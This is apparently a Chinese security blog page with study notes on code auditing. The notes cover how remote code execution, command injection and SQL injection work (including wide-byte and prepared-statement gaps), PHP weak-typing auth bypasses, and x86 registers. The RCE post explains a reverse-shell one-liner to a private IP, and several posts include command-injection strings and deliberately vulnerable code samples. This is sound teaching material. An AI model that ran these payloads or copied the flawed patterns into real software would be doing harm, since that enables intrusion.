首页
关于
友链
Search
1
设备部署-NIDS入侵检测系统-Snort&Suricata
5 阅读
2
从方法重写到SQL注入-信呼OA审计
5 阅读
3
CVE-2025-11001
4 阅读
4
设备部署-HIDS入侵检测系统-Elkeid&Wazuh
4 阅读
5
Web入侵分析入口思路
3 阅读
蓝队
应急响应
设备部署
二进制
基础
代码审计
基础理论
实践分析
登录
Search
标签搜索
学习笔记
蓝队
应急响应
代码审计
设备部署
内存马查杀
IDS
漏洞复现
JumpServer
HFish
雷池WAF
HIDS
Snort
Suricata
NIDS
Yara规则识别样本
ELK日志分析系统
Rookit查杀
容器应急
docker
N0va7
累计撰写
31
篇文章
累计收到
1
条评论
首页
栏目
蓝队
应急响应
设备部署
二进制
基础
代码审计
基础理论
实践分析
页面
关于
友链
搜索到
25
篇与
的结果
2025-09-11
RCE的本质
RCE的概念与区别Remote Code Execute 远程代码执行此处我们讲到的RCE不是由其他漏洞产⽣的外部代码(⾮预设代码)执⾏,比如说:反序列化、远程文件包含、Webshell上传、SSTI等因为需求设计,程序代码⾥⾯有时候也会把⽤户的输⼊作为代码的⼀部分进⾏执⾏,也就造成了远程代码执⾏漏洞。一句话来说就是:一段当前语言代码的字符串被动态执行,或者是其他语言的代码被放入沙箱执行了PHPPHP中可以远程代码执行的函数有很多,如果我们的输入可以走到这些函数作为参数,那么就有可能出现远程代码执行eval() //把字符串作为PHP代码执⾏ assert() //检查⼀个断⾔是否为 FALSE,可⽤来执⾏代码 preg_replace() //执⾏⼀个正则表达式的搜索和替换 call_user_func() //把第⼀个参数作为回调函数调⽤ call_user_func_array() //调⽤回调函数,并把⼀个数组参数作为回调函数的参数 array_map() //为数组的每个元素应⽤回调函数 $a($b) //动态函数PythonPython可以远程代码执行的函数如下:exec(string) # Python代码的动态执⾏ eval(string) # 返回表达式或代码对象的值 execfile(string) # 从⼀个⽂件中读取和执⾏Python脚本JavaJava中可以直接执行代码的函数基本没有,都是调用反序列化来动态执行字符串,所以目前没有这种函数Remote Command Execte 远程命令执行这种漏洞出现的原因在于系统/应用从设计上需要给用户提供指定的远程命令操作的接口,比如说路由器等设备。这种漏洞出现的情况仅当Web应用程序代码包含操作系统调用(外壳程序、Shell)并且调用中使用了用户输入时才可能进行OS命令注入攻击。它们不是基于特定语言的,命令注入漏洞可能会出现在所有让用户调用系统外壳命令的语言中一句话来说就是:⼀段输⼊的字符串被引⼊了执⾏外部命令的函数,并且没过过滤。PHPexec — 执⾏⼀个外部程序 passthru — 执⾏外部程序并且显示原始输出 proc_open — 执⾏⼀个命令,并且打开⽤来输⼊/输出的⽂件指针。 shell_exec — 通过 shell 执⾏命令并将完整的输出以字符串的⽅式返回 system — 执⾏外部程序,并且显示输出Pythonos.system() #执⾏系统指令 os.popen() #popen()⽅法⽤于从⼀个命令打开⼀个管道 subprocess.call #执⾏由参数提供的命令JavaRuntime.getRuntime().exec() ProcessBuilder()Shell相关基础知识参考文章https://www.jianshu.com/p/410cd35e642f管道command1 | command2 前⼀个命令的输出作为后⼀个命令的输⼊重定向command1 < input.txt 将input.txt的内容读出来重定向作为command1的参数 command2 > out.txt 将command2的输出重定向到out.txt中fdlinux下的⽂件描述符(file descriptor)是linux下⼀个重要的进程概念(本质上是⼀个索引)。文件描述符(File Descriptor,简称FD)是Linux系统中用于访问文件或其他输入输出资源(如管道、网络套接字等)的一种抽象标识。Linux系统中⼀切皆可以看成是⽂件,⽂件⼜可分为:普通⽂件、⽬录⽂件、链接⽂件和设备⽂件。在操作这些所谓的⽂件的时候,我们每操作⼀次就找⼀次名字,这会耗费⼤量的时间和效率。所以Linux中规定每⼀个⽂件对应⼀个索引,这样要操作⽂件的时候,我们直接找到索引就可以对其进⾏操作了。⽂件描述符(file descriptor)就是内核为了⾼效管理这些已经被打开的⽂件所创建的索引。$$ --> linux下当前进程的pid /proc --> linux伪⽂件系统 ---》进程相关的信息挂载在这⾥相关信息解释:0代表标准输入(stdin)1代表标准输出(stdout)2代表标准错误(stderr)当前shell就是标准输入/输出/错误都重定向到同一个地方,所以我们执行命令时能得到结果和错误提示反弹shell那么结合我们的安全角度,反弹shell就是一个shell命令,如何解释它?sh -i >& /dev/tcp/192.168.101.30/2222 0>&1sh -i:启动一个交互式的 Shell。>&:因此,>&将 stdout 和 stderr 合并后发送到后面的目标。/dev/tcp/192.168.101.30/2222:创建一个连接到192.168.101.30:2222的Socks0>&1:将 stdin 重定向到该 SocksLinux进程是如何创建的Linux区分⽤户态和内核态,⽤户态程序要进⾏所有动作、其实都是通过调⽤system call(系统调⽤syscall)向内核发起请求,最终在内核态执⾏完毕后才能得到返回。系统调⽤跟⽤户⾃定义函数⼀样也是⼀个函数,不同的是系统调⽤运⾏在内核态,⽽⽤户⾃定义函数运⾏在⽤户态。由于某些指令(如设置时钟、关闭/打开中断和I/O操作等)只能运⾏在内核态,所以操作系统必须提供⼀种能够进⼊内核态的⽅式,系统调⽤就是这样的⼀种机制。Linux创建进程的大致流程bash -c whoami在内核态执行了以下动作fork用于创建一个与父进程相似的子进程,两者拥有相同的地址空间,但具有独立的PID。子进程通过写时复制机制与父进程共享资源。而execve则在当前进程上下文替换并运行新的程序。关于系统调⽤的跟进,使用神器strace。如果你致⼒于成为⼀个安全研究员,后⾯的⼯作免不了跟他打交道。strace -tt -f -e trace=process python3 test.pyimport os if __name__ == '__main__': name = '123";ping baidu.com -c 100;echo "456' cmd = 'echo "HELLO ' + name + '"' os.system(cmd)这边的clone相当于fork,然后我们还可以发现一个点就是echo为什么没有创建,这是因为echo内置在shell里面了,所以不会创建一个新的进程命令注入的本质是在注入什么var name = requset.get("name") var cmd = "echo 'Hello " + name + "'" RUN_CMD(cmd)在有伪代码的情况下观察下面的代码,想想他们都能执行RCE吗?如果不一定,那么区别在哪?思考代码C/PHP/Python下的system()/popen()函数system($input$) 执⾏ sh -c '$input' 可以转化为 bash(pid:1) --> sys_fork --> bash(pid:2) --> sys_execve --> /bin/whoami(pid:2)Python的subprocess.call函数import os import subprocess if __name__ == '__main__': name = '123";ping baidu.com -c 100;echo "456' cmd = 'echo "HELLO ' + name + '"' subprocess.call(cmd, shell=True)import os import subprocess if __name__ == '__main__': name = '123";ping baidu.com -c 100;echo "456' cmd = 'echo "HELLO ' + name + '"' subprocess.call(cmd, shell=False)两者的区别是什么?存在RCE吗?Java的命令执行函数import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class main { public static void main(String[] args) { try { String name = "123';ping baidu.com -c 3;echo '456"; String cmd = "echo 'HELLO " + name + "'"; Process pro = Runtime.getRuntime().exec(cmd); InputStream in = null; in = pro.getInputStream(); BufferedReader read = new BufferedReader(new InputStreamReader(in)); String result = read.readLine(); System.out.println("INFO:"+result); } catch (IOException e) { throw new RuntimeException(e); } } }上面这些代码的区别是什么,当我们发现这些代码的时候都能实现RCE吗?下面就开始介绍这些代码的区别,以及他们能否实现RCE函数与命令的关系PHP <?php $name = $_GET['name']; $cmd = 'echo "Hello '.$name.'"'; var_dump("system", system($cmd)); //sh -c echo '</br>'; var_dump("exec",exec($cmd)); //sh -c echo '</br>'; var_dump("shell_exec",shell_exec($cmd)); //sh -c echo '</br>'; var_dump("popen");$x = popen($cmd, 'r');var_dump($x);var_dump(fread($x, 1024)); //sh -c echo '</br>'; $a = array(); var_dump("proc_open");$x = proc_open($cmd, $a,$b); //sh -c ?>PHP中的大多数执行外部命令的函数其实都是通过sh -c去执行的Pythonimport os if __name__ == '__main__': name = '123";ping baidu.com -c 100;echo "456' cmd = 'echo "HELLO ' + name + '"' os.system(cmd)Javaimport java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class main { public static void main(String[] args) { try { String name = "123';ping baidu.com -c 3;echo '456"; String cmd = "echo 'HELLO " + name + "'"; Process pro = Runtime.getRuntime().exec(cmd); InputStream in = null; in = pro.getInputStream(); BufferedReader read = new BufferedReader(new InputStreamReader(in)); String result = read.readLine(); System.out.println("INFO:"+result); } catch (IOException e) { throw new RuntimeException(e); } } }总结system类如果是执⾏system函数,或者类似system函数,他们都是直接⾛的fork-->execve流程在这种流程下调用的是外部bash -c,这种情况下,我们的输⼊被拼接加⼊到作为bash -c的参数,⽽bash -c是⽀持shell语法的,所以我们能够很轻易的进⾏拼接、绕过,这种也是最常⻅的RCE攻击execve类⽐如Runtime.getRuntime().exec()和subprocess.call(cmd, shell=False)这两者,⾛的流程是直接execve,在这种情况下,我们的输⼊只能作为固定进程的参数,那么我们就没办法⽤shell语法了,与任何拼接都没有关系了。那么这种情况如何绕过?execve类参数绕过当我们不能执⾏任意进程的时候(我们的输⼊只是某个特定进程的输⼊参数的时候),依然能找到⼀些撸点,但是撸点的⼤⼩,取决的使⽤的进程程序本身的参数是不是能注⼊。比如说rpm和curlimport shlex import subprocess import urllib from flask import Flask, request app = Flask(__name__) @app.route('/rpm') def rpm_install(): # put application's code here rpm = request.args.get("rpm") if rpm is None or rpm.strip() == "": return "please input rpm to install" rpm = urllib.parse.unquote(rpm) cmd = "rpm " + rpm cmd_list = shlex.split(cmd) process = subprocess.Popen(cmd_list, shell=False, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) result = "result is:\n" while process.poll() is None: line = process.stdout.readline() line = line.strip() if line: result = result + str(line) return result @app.route('/curl') def curl(): # put application's code here url = request.args.get("url") if url is None or url.strip() == "": return "please input url" cmd = ['curl', url] process = subprocess.Popen(cmd, shell=False, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) result = "result is:\n" while process.poll() is None: line = process.stdout.readline() line = line.strip() if line: result = result + str(line) return result if __name__ == '__main__': app.run(host="0.0.0.0")参考文档Linux:https://gtfobins.github.io/Windows:https://lolbas-project.github.ioCurlrpm
2025年09月11日
3 阅读
0 评论
0 点赞
2025-09-10
SQL注入的本质-是什么数据库
SQL注入的基础代码以下知识仅为个人学习过程中的记录<?php $db = init_db(); $username = $_GET['username']; //input: 111' and 1=1# $db->query("select * from table where username = '$username'"); ?>string connectionstring = "xxx"; SqlConnection con = new SqlConnection(connectionstring); con.Open(); string idCard = Request.QueryString["idCard"]; string sql = "select * from table where idCard = '" + idCard + "'"; SqlDataAdapter adapter = new SqlDataAdapter(sql, con); DataSet dataSet = new System.Data.DataSet(); adapter.Fill(dataSet); con.Close()conn = DBHerpel.getConnection(); if (conn == null) return; String username = request.getParameter("username"); String Sql = "select * from table where username = '" + username + "'"; stt = conn.createStatement(); set = stt.executeQuery(Sql);@app.route("/", methods=["GET"]) def test(): username = request.args.get('username') sql = "select * from table where username = '" + username + "'" conn = connect(host='localhost',port=3306,user='root',password='',database='test',charset='utf8') cs1 = conn.cursor() count = cs1.execute(sql)哪怕不是全部了解上面的语言,也可以看出来,这些代码都是没有使用ORM框架,直接调用原生数据库操作函数的实例。(ORM框架其实本身也是调用原生数据库操作函数,但是它做了一些封装和映射,只要按照规范写法,现代ORM基本都加了一些过滤在里面)通过上面的代码,可以很明显看出来,这些sql语句都是拼接构成的,所以说他们都存在SQL注入,在数据库层面中的数据流(SQL语句)侵入到了控制流。通常这种漏洞点大概率会在不同层面组件的交汇点,像上面就是代码层和数据库层的交汇点出现了SQL注入。调用ORM的错误写法PHP对于PHP来说没有什么特别出名的ORM框架,基本都是各个Web开发框架自带的ORM。对于这种情况,可以直接审计对应Web开发框架,因为这些开发框架/CMS的ORM可能写的并不规范,没有专门针对这方面进行维护,所以说相对而言存在漏洞点的可能更高。Java/MybatisMybatis需要有一个xml配置文件来绑定映射关系<select id="findUserByName" parameterType="java.lang.String" resultType="cn.itcast.mybatis.po.User"> <!-- 拼接 MySQL,引起 SQL 注⼊ --> SELECT * FROM table WHERE username = '${value}' </select>@Test public void testFindUserByName() throws Exception{ SqlSession sqlSession=sqlSessionFactory.openSession(); //创建UserMapper代理对象 UserMapper userMapper=sqlSession.getMapper(UserMapper.class); //调⽤userMapper的⽅法 List<User> list=userMapper.findUserByName("fuck' and 1=1#"); sqlSession.close(); System.out.println(list); }Mybatis存在两种变量绑定方式,分别是#{}和${}#是绑定变量的形式,底层会将#{}替换为?,有参数映射会在DefaultParameterHandler中进⾏设置占位符的操作,这就是预编译$也是绑定变量的形式,{value}是直接被替换成对应的值,没有参数映射,不会进行设置占位符的操作,本质上就是拼接在代码审计中可以直接搜$符号,针对小型的CMS来说简单而有效Python/SqlalchemySqlalchemy是Flask最经常配套使用的ORM框架,在许多的Django项目中也经常使用,是目前Python语言中最火的ORM框架@app.route("/", methods=["GET"]) def test(): username = request.args.get('username') res = db.session.query(table).filter("username={}".format(username))这个存在漏洞的原因是跟上面的Mybatis差不多,就是先"username={}".format(username)拼接字符串,然后再使用ORM框架进行查询,这个地方就是不同层面的交汇处,因为不规范的写法导致SQL注入正规写法如下:@app.route("/", methods=["GET"]) def test(): username = request.args.get('username') res = db.session.query(table).filter(table.username == username)SQL注入到底是在干什么重要核心看完了上面的原生数据库操作函数的调用导致的SQL注入以及ORM框架的错误写法导致的SQL注入,我们知道SQL注入到底是在干什么吗?不需要特别关心SQL注入的类型有哪些,像什么联合查询注入、二次注入、布尔盲注等其实,仔细总结上面的内容,可以得出一个结论:SQL注入就是去执行一段SQL语句,而这个SQL语句长什么样子,关键跟数据库类型有关不同的编程语言他们最终的目的都是将SQL语句送入数据库层进行执行,我们只要能发现注入点即可,至于用什么开发语言都是一样的对于注入类型注入类型相对于开发语言来说比较重要一些,不需要特别关注,但是我们得知道一些关键点能否堆叠注入像上面提到的,一条SQL语句最终会被解析成一段控制序列action(动作): select object(对象): table subject(⽬标客体): * condition(条件): key: username value: $username // ⽤户输⼊如果能够使用堆叠注入的话,那么我们就会跳出action的动作,进而执行其他动作,这样造成的危害程度肯定会更高但是堆叠注入的出现越来越少,一般情况下:Mssql数据库的堆叠注入最多;Oracle数据库的数量少一些;Mysql不多爆数据的速度报错~=联合查询>带外查询>布尔盲注>时间盲注对于输入点当我们发现一个注入点,我们也要关注这个注入点在SQL语句中的输入位置,根据不同的输入点,我们需要采用不同的payload,同时也要考虑是否需要进行绕过,后面的内容会联动这点select $username$,password from $table$ where $username2$ = '$xxx$' order by $username3$ desc limit $0$,1有撸点的SQL注入类型宽字节注入概念我们知道字节是计算机存储世界中最⼩的衡量单位,1Byte = 8bits。所以⼀个字节最⼤能够表示2^8=256个字符。所以:对ascii编码⽽⾔,⼀个字符⽤⼀个字节就可以表示,所以ascii编码最多可以表示256个字符。对GBK编码⽽⾔,⼀个汉字字符需要⽤两个字节表示。所以gbk编码理论上最多可以表示256*256个字符。利用方式<?php $db = init_db(); $db->query("SET NAMES 'gbk'); //设置gbk字符集 // addslashes会自动对单引号转义 $username = addslashes($_GET['username']); //input: fuck' and 1=1# $db->query("select * from table where username = '$username'"); ?>select * from table where username = 'fuck\' and 1=1#'SQL语句如上所示,在代码层会被直接插入一个\符号,从而对单引号进行转义,这样我们就没法入侵到控制流了但是当我们输入是这样的时候,就会出现不一样的效果了fuck%df\' and 1=1#数据在存储时采用字节方式存储,但是解读时采用字符标准去解读。而字符标准跟采用什么字符集有关系。所以在连接数据库执行SQL语句时(这时候就是对数据的解读),会按照字符集编码的规则去解读。而当遇到\xDF\x5C时,就会解读成運转码网站:https://www.23bei.com/tool/54.html#\x5c就是\的十六进制表示这里补充一下,并非只有\xdf才可以和\x5c组成字符,其他字符也OK,不必纠结这个,具体哪些字符组合可以自行查阅GBK编码情景利用所以在代码审计中审阅宽字节注入的方式就是查看数据库连接文件(一般是conn.php这种)。检查其字符集是否为utf-8,如果不是utf-8,那么就有可能产生注入参考文章https://xz.aliyun.com/news/1477?time__1311=eqIx9DBDnGDQitD%2F82xBKcAOzddx2AbD&u_atoken=2997a913f8636a69d9eae6cbcac41657&u_asig=1a0c380917410698476814249e0038预编译模式下的注入宽字节注入<?php $username = $_GET['username']; $db = "mysql:host=127.0.0.1;dbname=test;charset=gbk"; $dbname = "root"; $passwd = "root"; $conn = new PDO($dbs, $dbname, $passwd); $conn->query('SET NAMES GBK'); $stmt = $conn->prepare("select * from table where username = :username"); $stmt->bindParam(":username",$username); $stmt->execute(); ?>看似进行预编译好像安全了,但是在这种情况下是无法解决宽字节注入的问题的因为,在数据的流转中是这样的$stmt = $conn->prepare("select * from table where username = :username"); ==>sql = "select * from table where username = '${addslashes($input)}'"在此处我们有发现了addslashes这个函数,那不是跟传统的宽字节注入绕过方法一样吗?所以在这种情况下,预编译是不起作用的一些无法预编译的点既然讲到预编译不起作用,那么这部分聊聊那些没法通过ORM/预编译去保护的输入点,这种情况是通用的,无视任何语言like&in关键字我们知道sql语句的模糊查找⾥⾯⽤的关键字like。⽽like关键字默认是不会预编译的(如果使⽤Mybatis则是预编译报错)。数据库⽅给出的原因好像是like预编译会造成慢查询和DOS。所以对于like关键字,只能通过手动添加预编译来解决。一些开发只会照着以往的样子进行编写,不会知道like关键字的预编译会失效,所以这时候就给了我们可趁之机<?php $username = $_GET['username']; $db = "mysql:host=127.0.0.1;dbname=test;"; $dbname = "root"; $passwd = "root"; $conn = new PDO($dbs, $dbname, $passwd); $conn->query('SET NAMES GBK'); $stmt = $conn->prepare("select * from table where username like '%:username%'"); //不⽣效 $stmt = $conn->prepare("select * from table where username like concat('%',:username,'%'"); //⽣效 $stmt->bindParam(":username",$username); $stmt->execute(); ?>一些Java开发发现Mybatis编译报错,他就会改用$符号,或者直接就不写预编译。如果开发手写预编译的话,也可能没有那么完善,存在绕过的机会。同样的,in关键字也是默认不能进行预编译的,需要在预编译语法中去for循环,有些开发为了方便,写的代码少一些,就可能在这边偷工减料不能加引号的关键字结合我们上面看到宽字节绕过预编译,我们可以看到预编译+绑定变量的效果大概有两个步骤$str = addslashes($input) //内容转义 $sql = "select * from table where column = '$str'" //强制使用单引号包裹结合我们上面提到的产生注入的输入点select $username$,password from $table$ where $username2$ = '$xxx$' order by $username3$ $desc$ limit $0$,1观察上面SQL语句中的输入点,有哪些地方是必然不能加单引号的呢?如果这个地方不能加单引号,那么就无法进行预编译于是整合如下:$username$,$table$,$username2$,$username3$,$desc$,$0$也就是说列名、表名、limit子句、order by[desc/asc]都不能添加单引号,所以他们都不能进行预编译。在这种情况下,开发可能会遗漏这些点的检测,导致存在注入。参考文章https://forum.butian.net/share/1559http://cn-sec.com/archives/286656.htmlhttps://codeantenna.com/a/WzaLCig9qw权限认知-数据平面一些权限的例子在cms/web层⾯:web后台管理员权限>web前台会员权限>游客权限在数据库层⾯:root⽤户/sa⽤户/postgres⽤户>普通杂七杂⼋⽤户在操作系统层⾯:root > 所有其他⽤户对于权限的重要认知认清数据平面未授权RCE我们以游客的权限,拿到⼀个rce漏洞(也就是未授权rce),那么我们的权限是什么?是web后台管理员权限吗?并不是,而是操作系统权限,此时我们的数据平面在操作系统层面在操作系统层⾯,我们的**bash进程是httpd进程派⽣的,所以与httpd进程是同层级的,所以此时我可以读写web⽬录的任意⽂件(前提是web⽬录本身对httpd可读写)**SQL注入如果我们以游客权限,拿到⼀个sql注⼊点,那么我们的权限是什么?是web后台管理员权限吗?并不是,而是数据库权限,此时我们的数据平面在数据库层面在数据库层⾯,我们⽬前就是mysql进程维护的⼀个通信线程,我们就是数据库的root或者普通库权限(取决于web数据库配置⽂件中定义的⽤户)。SQL注入到命令执行如果我们以游客权限,拿到⼀个sql注⼊点,并且这个注⼊点可以执⾏命令,那么我们的权限是什么?是数据库的root吗?并不是,而是操作系统权限,此时我们的数据平面在操作系统层面在操作系统层⾯,我们⽬前就是mysql进程派⽣的⼀个bash进程,所以与mysql进程是同层级的,所以此时我可以读写mysql数据库⽂件⽬录的⽂件。也⼤概率有权限读web⽬录的⽂件
2025年09月10日
3 阅读
0 评论
0 点赞
2025-09-10
紧紧抓住输入
安全的本质以下知识仅为个人学习过程中的记录安全的本质是信任问题。--道哥⼀切的安全⽅案设计的基础,都是建⽴在信任关系上的。我们必须相信⼀些东⻄,必须要有⼀ 些最基本的假设,安全⽅案才能得以建⽴。反之,如果我们否定⼀切,安全⽅案就会变成⽆源之⽔、⽆本之⽊,⽆法设计,也⽆法完成。 --道哥eg信任普通用户的输入会导致前台漏洞信任管理员的输入会导致后台漏洞信任升级包、离线升级等会导致供应链攻击那么不信任任何用户的输入呢?难道这不是无源之水吗?其实这个是将信任关系转移到了对于输入的检测逻辑上,在这种情况下,一旦输入检测逻辑出现问题,信任关系就会被打破,从而出现漏洞。所有的安全模型都可以简化为:输入 -> 检测输入逻辑 -> 输出像是WAF、IDS、IPS、EDR等都是对输入进行安全检测,进而输出是否安全的结果结论通过上述的简单阐述,可以看到一切都是跟输入息息相关的,对于我们而言,我们可以掌控和能掌控的只有输入,所以挖掘漏洞的最好的入手点就是从输入去入手在代码审计的过程中,要紧紧抓住我们可控的输入,逐步跟踪传播链条判断是否有撸点程序希望用户输入什么控制流与数据流<html> <body>Hello my name is : <?php echo $_GET["name"]; ?> </body> </html><html> <script> console.log("Hello my name is :" + "<?php echo $_GET['name']; ?>") </script> </html>第一部分的代码是控制代码走向的控制流代码第二部分的代码是展示数据的数据流代码,不具备控制代码走向的能力开发者一定希望用户输入的是数据流的代码,当用户能够控制代码走向,那么将导致程序出现不可预料的结果,这是他们不愿意看到的。同时这种不可预料的结果,往往伴随着漏洞点的出现,所以当我们可以通过数据流侵入控制流时,漏洞就产生了。SQL注入<?php $db = init_db(); $username = $_GET['username']; //input: fuck' and 1=1# $db->query("select * from table where username = '$username'"); ?>输入的流转:输入->PHP的字符串->SQL语句->数据库查询在整个数据流流转的过程中,其实我们可以发现任何语言都可以形成这种查询结构,不管是PHP、Java、Python等任何编程语言,所以这时候我们可以明白这种结构跟用什么编程语言是没有关系的,编程语言仅仅是我们用来表达这个结构的,我们真正要考虑的是数据库的层面。在数据库层面:控制流是SQL语句action: select object: table subject: * condition: key: username value: $username # 输入要确保程序始终执行原意,那么开发者就需要在编写程序时对输入进行限制,确保用户输入只能影响value的位置,如果没有确保这个条件,那么漏洞就会出现action: select object: table subject: * condition: key1: username value1: $username # 输入jack key2: 1 # and 1=1 value2: 1我们在代码层的输入,在数据库层面的数据流侵入到了控制流,从而造成了SQL注入。原本数据库的数据流就是只输入jack的值,结果为select * from table where username = 'jack',但是却变成select * from table where username = 'jack' and 1=1#,从数据流侵入控制流,让输出出现了不可预料的结果。SSTI服务端模板注⼊(Server-Side Template Injection)也可以⽤相同的⽅式来理解。Twig是php的⼀套模板渲染的组件,但是不规范的渲染参数输⼊⽅式,可能导致模板注⼊。<?php require_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php'; Twig_Autoloader::register(true); $twig = new Twig_Environment(new Twig_Loader_String()); $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将⽤户输⼊作为模版变量的值 echo $output; ?>输入的流转:输入->$_GET["name"]->Twig渲染字符串->Twig发现变量{{name}}->找到变量name的绑定->解析字符串->渲染展示<?php require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php'; Twig_Autoloader::register(true); $twig=newTwig_Environment(newTwig_Loader_String()); $output=$twig->render("Hello {$_GET['name']}");// 将⽤户输⼊作为模版内容的⼀部分 echo $output; ?>输入的流转:输入->$_GET["name"]->拼接name为新的PHP字符串->字符串内容被Twig渲染展示上面两种写法觉得哪种存在毛病,或者说可能存在漏洞?第一种写法是先经过Twig框架渲染再将变量渲染进去,第二种写法是先将变量拼接为一个新字符串,然后再将整个字符串通过Twig渲染。第一种方法遵循了框架的写法,通常遵循框架写法的方式基本没有漏洞。模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击而第二种方法它是先拼接后渲染,并没有作为模板渲染的变量进行渲染,所以说没有做安全过滤,故而第二种写法存在漏洞,可以进行XSS攻击。同样的,此处模板渲染的过程中并非只有PHP的代码能够实现SSTI漏洞,所有的编程语言都可能存在这个漏洞,PHP只是我们表述这个漏洞的一种方式。在此处,我们在代码层的输入,造成了Twig模板层中数据流侵入到控制流,从而导致SSTI。命令执行RCE<?php $domain = $_GET["domain"]; //input:baidu.com";whoami;echo "fuck echo system('ping "'.$domain.'"'); ?>程序的原意execute: process: exe: ping --> /bin/ping arg: $domain在此处,开发者应该保证用户输入仅能影响arg的值,如果没有做到这点,那么就会造成漏洞的出现。execute: process1: exe: ping --> /bin/ping arg: $domain process2: exe: whoami --> /bin/whoami arg: - process3: exe: echo arg: "fuck"同样任何编程语言都存在这种写法,也存在这种漏洞,PHP仅为我们表述的一种方式。我们在代码层的输入导致了bash层的数据流侵入控制流,进而造成了RCE。总结漏洞并非一种语言独有,任何编程语言都是一种表述方式,我们的关注点要放在数据流和控制流上,一旦数据流可以侵入到控制流,那么信任关系就被打破,漏洞就会出现。业务流程问题除了上述的数据流侵入到控制流,还有一些业务流程、逻辑上的问题。很多逻辑漏洞、越权漏洞,往往来⾃于此。这也是现代MVC结构会出现的比较多的问题。现代mvc结构⼀般不会出现sql注⼊、xss、webshell上传,这是由于他们的框架已经自己集成了对于这些攻击的过滤,只要按照框架来写,自然就很少会出现这些漏洞。当然,不按框架写还是会出现这些漏洞的。过度信任用户输入<?php $user_id = int($_GET['user_id']); $db = init_db(); $data = $db->query("select * from user where user_id = $user_id"); echo parse_user_profile($data); ?>此处因为将输入的user_id数据进行int转换,虽然不存在SQL注入问题,但是过度信任用户的输入,导致用户输入任何数据都可以进行查询(越权),进而造成了逻辑漏洞。不信任用户输入-信任检测逻辑那我们换一种方式,不信任用户的所有输入,转而信任开发者编写的检测逻辑。<?php session_start(); $password = "test"; $_SESSION['is_login'] = 0; if ($_GET['password'] == $password){ $_SESSION['is_login'] = 1; $_SESSION['user_id'] = $_GET["user_id"]; // 假定管理员user_id=0 header("location: /user.php?is_login=1"); exit(); }else{ echo "密码错误"; exit(); } ?>// http://192.168.215.129/login.php?password=test&user_id=123 <?php header("content-type: text/html; charset=utf-8"); if ($_SESSION['is_login'] == $_GET['is_login']){ //NULL == NULL echo "你登录了"; if ($_SESSION['user_id'] == 0){ NULL == 0 echo "你是管理员"; }else{ echo "你不是管理员,付钱"; } }else{ echo "没登陆,滚"; } ?>业务流程检测逻辑不规范导致漏洞,是⼤家进⾏代码审计最经常遇到的。整个流程⾥⾯,开发者完全没有信任⽤户的输⼊。对密码进⾏了校验,校验通过才存session,并且⽤户id也是存储于session中的,没法通过cookie伪造绕过鉴权。PHP是一个弱类型的脚本语言,在php下,NULL == false == 0 == ""⽽$_SESSION的取值来⾃于cookie中PHPSESSION的输⼊,如果我们不输⼊cookie,这⾥就完全绕过这个校验。为什么呢?因为没有输入Cookie,那么$_SESSION的值为NULL,同时is_login的值也不输入,它也为NULL,进一步发现$_SESSION中的user_id也为NULL,所以就饶过了所有的校验。业务流程检测逻辑不规范导致漏洞,是代码审计过程中最常遇到的。代码审计的最终心法内容只有两点:代码审计过程中能否让数据流侵入到控制流代码审计过程中,业务逻辑可能存在问题的点有哪些?(如何快速通过污点分析找出有问题的的业务?)
2025年09月10日
3 阅读
0 评论
0 点赞
2025-09-06
x86与x64寄存器
x86和x86_64架构的区别32位最大寻址空间x86是32位的架构,地址总线宽度为32位理论可访问的最大寻址空间为2^32字节,约等于4GB实际中,操作系统通常将其中一部分用于内核空间,用户态程序可用空间为2GB或者3GB超过该限制的应用将无法在纯32位的系统中运行但是渐渐的32位的架构不够我们的需求,所以64位就应运而生64位最大寻址空间x86_64是64位架构,地址总线宽度为64位理论可以访问的最大寻址空间为2^64字节,约等于16EB(Exabytes)当前主流的CPU实际支持48位至52位的虚拟地址,即最大寻址能力在256TB至4PB之间用户进程可使用更大内存空间,适用于虚拟化、数据库、AI等高内存应用场景x86下的寄存器通用寄存器EAX:累加器,用于算术和逻辑运算EBX:基址寄存器,可用于访问内存中的变量ECX:计数器,常用于循环和字符串操作EDX:数据寄存器,用于乘除法指令中作为拓展位使用ESI:源索引,用于字符串复制、数组访问等场景EDI:目的索引,与ESI搭配使用ESP:栈指针,始终指向栈顶EBP:基址指针,用于建立函数的栈帧结构分段寄存器CS:代码段寄存器DS:数据段寄存器SS:栈段寄存器ES、FS、GS:扩展段寄存器,用于额外访问内存或线程本地存储分段机制在实模式和保护模式下意义不同,在现代系统中多数用于兼容目的或线程本地数据访问特殊用途寄存器EIP:指令指针寄存器,指向下一条将要执行的指令地址EFLAGS:标志寄存器,用于记录算术、逻辑操作结果状态ZF:零标志,结果是否为零CF:进位标志,是否产生进位OF:溢出标志,是否产生有符号溢出SF:符号标志,结果是否为负子寄存器所有32位通用寄存器都可以拆分访问其低位部分例如:AX是EAX的低16位,AH是AX的高8位,AL是AX的低8位同理BX->BH/BL,...子寄存器常用于字节级别的数据处理,例如处理ASCII字符、I/O操作、传感器数据采集等简单代码分析x86寄存器#include <stdio.h> int main() { int a = 10; int b = 20; int c = a + b; int arr[3] = {1, 2, 3}; int i; for(i = 0; i < 3; i++) printf("arr[%d] = %d\n", i, arr[i]); return 0; }gcc -m32 -g -fno-pie -no-pie -o x86_test x86_test.clayout regs此时eax清空EIP:指令指针寄存器,指向下一条将要执行的指令地址EAX:累加器,用于算术和逻辑运算(计算结果存储在eax)数组和i此处ebp-0x18为基地址,eax为下标,4为数据类型int的大小在调试的过程中可以发现每当push一个值,esp基本都会减少4,正印证了栈是从高往低增长,然后esp永远指向栈顶,ebp永远指向栈底x86_64下的寄存器寄存器数量扩展除了保留所有x86兼容寄存器外,x86_64架构新增以下64位寄存器:RAX、RBX、RCX、RDX、RSP、RBP、RSI、RDI新增:R8、R9、R10、R11、R12、R13、R14、R15每个寄存器均支持64位运算,并可拆分为32位、16位、8位子寄存器访问RIP会替代EIP,作为64位的指令指针调用约定变化在64位系统下,参数的传递改由寄存器优先完成System V(Linux、macOS):参数依次放入RDI、RSI、RDX、RCX、R8、R9Windows 